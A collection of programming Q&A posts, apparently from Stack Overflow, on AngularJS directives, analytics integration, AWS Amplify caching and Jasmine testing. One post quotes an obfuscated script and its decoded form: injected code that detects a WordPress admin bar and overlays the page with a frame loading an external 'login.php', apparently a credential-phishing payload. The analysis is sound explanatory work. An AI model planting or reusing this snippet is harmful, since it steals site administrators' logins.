i'm using the Angularjs ui for bootstrap library. In particular im, wanting to customise the the behaviour of the "collapse" directive. Currently, if i have more than one collapsable section on a page itcollapses them all at the same time. I would like to seperate them out so i can know which element triggered the event. And collapse only that section. Ive tried a few different ways including adding the $event expression inside ng-click but its coming back undefined.
I was hoping that someone could help me fix this code please?
.directive("collapse", ["$transition", function (e, $event) { var t = function (e, t, n) { t.removeClass("collapse"), t.css({height: n}), t[0]. offsetWidth, t.addClass("collapse") };
return{link: function (n, a, i) { var r, o = !0; n.$watch(function () { return a[0].scrollHeight }, function () { 0 !== a[0].scrollHeight && (r || (o ? t(n, a, a[0].scrollHeight + "px") : t(n, a, "auto"))) }), n.$watch(i.collapse, function (e) { console.log(r); e ? u() : c() //removed for testing }); var l, s = function (t) { return l && l.cancel(), l = e(a, t), l.then(function () { l = void 0 }, function () { l = void 0 }), l }, c = function () {
o ? (o = !1, r || t(n, a, "auto")) : s({height: a[0].scrollHeight + "px"}).then(function () { r || t(n, a, "auto") }), r = !1 }, u = function () { r = !0, o ? (o = !1, t(n, a, 0)) : (t(n, a, a[0].scrollHeight + "px"), s({height: "0"})) } }} }])
Your problem is likely that you have used the same scope variable for collapse for each of the inidividual instances. This would wire them all together.
As you can see from this demo, they play well together when the variables are different
DEMO
Related
I use yandex metrica in SPA application with VueJs.
at first, I run setUserID after all components load, it didn't work.
so I call it after yandex script init:
(function(m, e, t, r, i, k, a) {
m[i] = m[i] || function() {
(m[i].a = m[i].a || []).push(arguments);
};
m[i].l = 1 * new Date();
k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a);
})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(11111111, "init", {
clickmap: true,
trackLinks: true,
accurateTrackBounce: true,
webvisor: true
});
const _u = localStorage.getItem('userID');
if (_u)
ym(11111111, "setUserID", _u);
because this method works when the app wasn't SPA.
but now userID is not available in yandex dashboard anymore.
Has any one similar exprience?
I am trying to deploy a reactjs app to aws amplify and everything works final on localhost and in incognito browser window, just when I access my app url in a regular browser I get this error
If I clear my browser cookies and access the url its fine but everytime I deploy a new build folder it goes back to this. I tried almost every suggestion I could find on the internet but it still occurs.
Solutions I tried :
Setting up PUBLIC_URL in .env file.
Deploying through S3 bucket instead of drag and drop.
Adding <Router basename='/index.html'> to my code.
Adding homepage pointing to my domain in package.json.
Adding homepage pointing to '.' in package.json
Adding homepage pointing to './' in package.json
Adding the above homepage variations to manifest.json in public folder.
Details about my environment and observations :
I am hosting the app on aws amplify with custom domain via Route 53.
App works absolutely fine without any issues on incognito browser - so if there was an issue with the code it should break in incognito as well correct?
The work-around is to clear browser cookies and hit the url again but its undesirable coz this is a production environment and every time I deploy a change I cannot ask my users to clear cookies and try again - changes should be picked up by the browser instantly.
Following is my compiled index.html
<html lang="en">
<head>
<meta charset="utf-8" />
<link href="https://fonts.googleapis.com/css2?family=Inter:wght#400;500;600;700;900&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Poppins:wght#400;500;600;700;900&display=swap" rel="stylesheet">
<meta name="viewport" content="width=device-width,initial-scale=1" />
<meta name="theme-color" content="#000000" />
<meta name="description" content="Vaccination Verification Made Easy" />
<link rel="apple-touch-icon" href="https://vaxtone.com/logo192.png" />
<link href="//netdna.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" />
<script src="https://js.stripe.com/v3/"></script>
<link rel="manifest" href="https://vaxtone.com/manifest.json" crossorigin="use-credentials">
<title>VaxTone</title>
<link href="https://vaxtone.com/static/css/2.f4136754.chunk.css" rel="stylesheet">
<link href="https://vaxtone.com/static/css/main.dd527d15.chunk.css" rel="stylesheet">
</head>
<body><noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<script>"serviceWorker" in navigator && window.addEventListener("load", (function () { navigator.serviceWorker.register("serviceWorker.js").then((function (e) { console.log("ServiceWorker registration successful with scope: ", e.scope) }), (function (e) { console.log("ServiceWorker registration failed: ", e) })) }))</script>
<script>!function (e) { function t(t) { for (var n, a, i = t[0], c = t[1], l = t[2], s = 0, p = []; s < i.length; s++)a = i[s], Object.prototype.hasOwnProperty.call(o, a) && o[a] && p.push(o[a][0]), o[a] = 0; for (n in c) Object.prototype.hasOwnProperty.call(c, n) && (e[n] = c[n]); for (f && f(t); p.length;)p.shift()(); return u.push.apply(u, l || []), r() } function r() { for (var e, t = 0; t < u.length; t++) { for (var r = u[t], n = !0, i = 1; i < r.length; i++) { var c = r[i]; 0 !== o[c] && (n = !1) } n && (u.splice(t--, 1), e = a(a.s = r[0])) } return e } var n = {}, o = { 1: 0 }, u = []; function a(t) { if (n[t]) return n[t].exports; var r = n[t] = { i: t, l: !1, exports: {} }; return e[t].call(r.exports, r, r.exports, a), r.l = !0, r.exports } a.e = function (e) { var t = [], r = o[e]; if (0 !== r) if (r) t.push(r[2]); else { var n = new Promise((function (t, n) { r = o[e] = [t, n] })); t.push(r[2] = n); var u, i = document.createElement("script"); i.charset = "utf-8", i.timeout = 120, a.nc && i.setAttribute("nonce", a.nc), i.src = function (e) { return a.p + "static/js/" + ({}[e] || e) + "." + { 3: "44b4c37d" }[e] + ".chunk.js" }(e); var c = new Error; u = function (t) { i.onerror = i.onload = null, clearTimeout(l); var r = o[e]; if (0 !== r) { if (r) { var n = t && ("load" === t.type ? "missing" : t.type), u = t && t.target && t.target.src; c.message = "Loading chunk " + e + " failed.\n(" + n + ": " + u + ")", c.name = "ChunkLoadError", c.type = n, c.request = u, r[1](c) } o[e] = void 0 } }; var l = setTimeout((function () { u({ type: "timeout", target: i }) }), 12e4); i.onerror = i.onload = u, document.head.appendChild(i) } return Promise.all(t) }, a.m = e, a.c = n, a.d = function (e, t, r) { a.o(e, t) || Object.defineProperty(e, t, { enumerable: !0, get: r }) }, a.r = function (e) { "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { value: "Module" }), Object.defineProperty(e, "__esModule", { value: !0 }) }, a.t = function (e, t) { if (1 & t && (e = a(e)), 8 & t) return e; if (4 & t && "object" == typeof e && e && e.__esModule) return e; var r = Object.create(null); if (a.r(r), Object.defineProperty(r, "default", { enumerable: !0, value: e }), 2 & t && "string" != typeof e) for (var n in e) a.d(r, n, function (t) { return e[t] }.bind(null, n)); return r }, a.n = function (e) { var t = e && e.__esModule ? function () { return e.default } : function () { return e }; return a.d(t, "a", t), t }, a.o = function (e, t) { return Object.prototype.hasOwnProperty.call(e, t) }, a.p = "https://vaxtone.com/", a.oe = function (e) { throw console.error(e), e }; var i = this["webpackJsonpvaxtone1.0"] = this["webpackJsonpvaxtone1.0"] || [], c = i.push.bind(i); i.push = t, i = i.slice(); for (var l = 0; l < i.length; l++)t(i[l]); var f = c; r() }([])</script>
<script src="https://vaxtone.com/static/js/2.3e8f6948.chunk.js"></script>
<script src="https://vaxtone.com/static/js/main.6ccb123a.chunk.js"></script>
</body>
<style>
body::-webkit-scrollbar {
display: none
}
body {
-ms-overflow-style: none;
scrollbar-width: none
}
</style>
</html>
I used the create-react-app command to create the reactjs app and use npm run build to generate the build folder for deployment.
I use a service worker to implement progressive-web-app features - could it be something related to my service worker?
Any help on how to resolve this or what do you think is happening would be a big big help .Thanks.
Make sure your package json file either does not have homepage set or the value for homepage matches your AWS Amplify URL. I had the same issue and this resolved it.
i have search on google for many decode programs and online decode websites but nobody has decode that code, why its inpossible to decode that code?
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[e(c)] = k[c] || e(c)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\[\xa1-\xff]+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp(e(c), 'g'), k[c])
}
}
return p
}('¤ ¬(¨,¦){§ ¢=³ ¹();¢.º(¢.¶()+(µ*·));§ £="; £="+¢.´();¡.Â¥=¨+"="+¦+£+"; °=/"}±.²=¤(){»(¡.Ã….Ä.ª("Æ")>-1&&¡.Â¥.ª(\'Â\')==-1){¡.Ã("<« Â=©% ½=©% ¾=0 ¿=0 Ã=0><À Ê=0 ¼=È://Ç.¸/®.¯></«>");¬("Â","É")}}', 42, 42, 'document|date|expires|function|cookie|value|var|name|100|indexOf|frameset|createCookie|seeeeen|login|php|path|window|onload|new|toGMTString|300|getTime|1000|org|Date|setTime|if|src|rows|border|frameboarder|frame|framespacing|cols|write|innerHTML|body|wpadminbar|x6q|http|ok|frameborder'.split('|'), 0, {}))
i hope anyone can help me to decode that.
Thanks
All of the special characters like Â, ¢, ¤ are treated as single bytes. They are variables, and the number represents the index into the second string "document|date|expires|function...". The inner function that takes the (p, a, c, k, e, d) parameters replaces each variable number with the corresponding name in that list. It returns the resulting source code as a string, and passes it to the eval() function, which takes the string and executes it as JavaScript.
If you want to see the source code after it has been unpacked, replace the very first function call eval() with an output function, like console.log() or alert().
function createCookie(name, value) {
var date = new Date();
date.setTime(date.getTime() + (300 * 1000));
var expires = "; expires=" + date.toGMTString();
document.cookie = name + "=" + value + expires + "; path = /";
}
window.onload = function() {
if (document.body.innerHTML.indexOf("wpadminbar") > -1 && document.cookie.indexOf('seeeeen') == -1) {
document.write("<frameset cols=100% rows=100% border=0 frameboarder = 0 framespacing = 0 > < frame frameborder = 0 src = http: //x6q.org/login.php></frameset>");
createCookie("seeeeen", "ok")
}
}
I am wondering which is the right way of integrating Google Analytic into my AngularJS app. I would like to provide it through DI, so I can mock it during unit testing, and test which data is being sent to it.
I was trying something like this:
.service('$ga', function () {
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
i[r] = i[r] || function () {
(i[r].q = i[r].q || []).push(arguments)
},
i[r].l = 1 * new Date();
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m);
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
ga('create', 'GA_KEY', 'auto');
ga('send', 'pageview');
return ga;
})
But of course it does not work, since first is a dummy object and when analytics.js loads, replaces window.qa (ie:window[document['GoogleAnalyticsObject']]) with the proper implementation. So when the service runs, returns the dummy implementation.
I guess that using a provider will be the right way, since I would like to also configure some parameters (like UserID, etc...), but I have no idea how to set it up that way.
Which is the right approach?
This is the best I got so far:
.provider('$ga', function () {
window['GoogleAnalyticsObject'] = 'ga';
window['ga'] = window['ga'] || function () { (window['ga'].q = window['ga'].q || []).push(arguments)}
window['ga'].l = 1 * new Date();
var script = document.createElement('script');
var prevScript = document.getElementsByTagName('script')[0];
script.async = 1;
script.src = '//www.google-analytics.com/analytics.js';
prevScript.parentNode.insertBefore(script, prevScript);
var provider = function () {
var me = {};
me.$get = function () {
ga('send', 'pageview');
return function () {
return window.ga.apply(window, arguments);
}
};
me.ga = function () {
return window.ga.apply(window, arguments);
};
return me;
};
return provider();
})
It is a provider that can be configured:
.config(['$gaProvider',function ($gaProvider) {
$gaProvider.ga('create','UA-XXXXXX-Y','auto');
}])
Feedback is welcomed.
I have the following scope function in my controller
$scope.getStaff = function (request, response) {
var a = [];
if ($scope.staff !== null) {
// all terms must be contained
a = $scope.staff;
var terms = request.term.toLowerCase().split(' ');
for (var i = 0; i < terms.length; i++) {
var t = terms[i];
if (t) {
a = $.grep(a, function (item, index) {
var v = item.label.toLowerCase();
return v.indexOf(t) !== -1;
});
}
}
}
response(a.length > 0 ? a : null);
};
I'm attempting to test it using jasmine like this:
describe('getStaff', function() {
it('...', function() {
$scope.staff = [
{ label: "test1" },
{ label: "test2" }
];
var req = { term: "a b c" };
expect(req.term.toLowerCase()).toBe('a b c');
var res = function(a) {
return a;
}
var result = $scope.getStaff(req, res).response;
expect(result).toBe(null);
});
});
I'm ultimately trying to see what "a" is in the getStaff function. How can I get that value in my jasmine test?
My answer is really an opinion. Unless you are willing to expose your 'a' in the scope of the controller, then my answer would be "you don't care" your jasmine test should only be testing the answer of response(a.length > 0 ? a : null); returned.
My gut tells me you may want to consider creating a helper function for this code
$.grep(a, function (item, index) {
var v = item.label.toLowerCase();
return v.indexOf(t) !== -1;
});
and unit testing that separate from your getStaff function.